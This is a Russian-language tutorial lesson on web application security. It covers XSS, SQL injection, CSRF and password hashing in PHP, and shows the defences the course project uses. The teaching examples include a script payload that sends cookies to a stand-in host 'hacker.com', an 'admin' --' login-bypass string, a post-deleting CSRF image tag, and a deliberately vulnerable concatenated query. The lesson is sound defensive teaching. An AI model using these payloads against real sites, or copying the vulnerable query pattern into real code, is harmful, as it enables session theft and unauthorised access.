Урок 29

Безопасность веб-приложений

20 мин

Безопасность — не опция, а необходимость

Веб-приложения постоянно атакуют. Даже маленький блог может стать целью. Давайте разберём основные угрозы и как мы от них защитились.

XSS (Cross-Site Scripting)

Что это?

Злоумышленник внедряет JavaScript-код на вашу страницу. Код выполняется в браузерах других пользователей.

Пример атаки

Пользователь вводит в поле "Имя":

<script>document.location="http://hacker.com/steal?cookie="+document.cookie</script>

Если вы просто выведете это без обработки, скрипт выполнится и украдёт cookies.

Как мы защитились

Используем htmlspecialchars() через нашу функцию escape():

<?= escape($user_input) ?>

Это преобразует < в &lt;, и скрипт не выполнится.

Правило: ВСЕГДА экранируйте пользовательский ввод при выводе на страницу!

SQL-инъекции

Что это?

Злоумышленник внедряет SQL-код в запрос к базе данных.

Пример атаки

Форма входа. Злоумышленник вводит:

Логин: admin' --
Пароль: что угодно

Если запрос формируется через конкатенацию:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'

-- в SQL — начало комментария. Всё после него игнорируется. Пароль не проверяется!

Как мы защитились

Используем подготовленные запросы (prepared statements):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

PDO автоматически экранирует параметры. SQL-инъекция невозможна.

Никогда не делайте так:
$pdo->query("SELECT * FROM users WHERE id = " . $_GET["id"]);

CSRF (Cross-Site Request Forgery)

Что это?

Злоумышленник заставляет ваш браузер выполнить действие от вашего имени на другом сайте.

Пример атаки

Вы авторизованы на своём блоге. Злоумышленник присылает ссылку с картинкой:

<img src="http://ваш-блог.ru/delete_post.php?id=5">

Ваш браузер загружает "картинку" и удаляет пост.

Как мы защитились

  1. Важные действия только через POST
  2. CSRF-токен в формах

Хранение паролей

Как НЕ надо

  • Хранить пароли открытым текстом
  • Использовать MD5 или SHA1 (быстро взламываются)
  • Одинаковая "соль" для всех паролей

Как мы сделали

// Хеширование при регистрации
$hash = password_hash($password, PASSWORD_DEFAULT);

// Проверка при входе
if (password_verify($input, $hash)) {
    // Пароль верный
}

password_hash() автоматически:

  • Использует безопасный алгоритм (bcrypt)
  • Генерирует уникальную соль для каждого пароля
  • Медленный по дизайну (защита от перебора)

Чек-лист безопасности

Угроза Защита Мы сделали?
XSS htmlspecialchars() при выводе
SQL-инъекции Подготовленные запросы PDO
CSRF Токены + POST-запросы
Взлом паролей password_hash()
Утечка паролей в логах Не логировать пароли
Доступ к файлам Публичная папка отдельно

Что ещё нужно в продакшене

  • HTTPS — шифрование трафика
  • Rate limiting — защита от перебора паролей
  • Логирование — отслеживание подозрительной активности
  • Обновления — регулярные обновления PHP и библиотек
  • Резервные копии — бэкапы базы данных
Главное правило:
Никогда не доверяйте данным от пользователя. Проверяйте, фильтруйте, экранируйте.

Мы используем файлы cookie для улучшения работы сайта и персонализации контента. Продолжая использовать сайт, вы соглашаетесь с использованием cookies в соответствии с нашей Политикой конфиденциальности.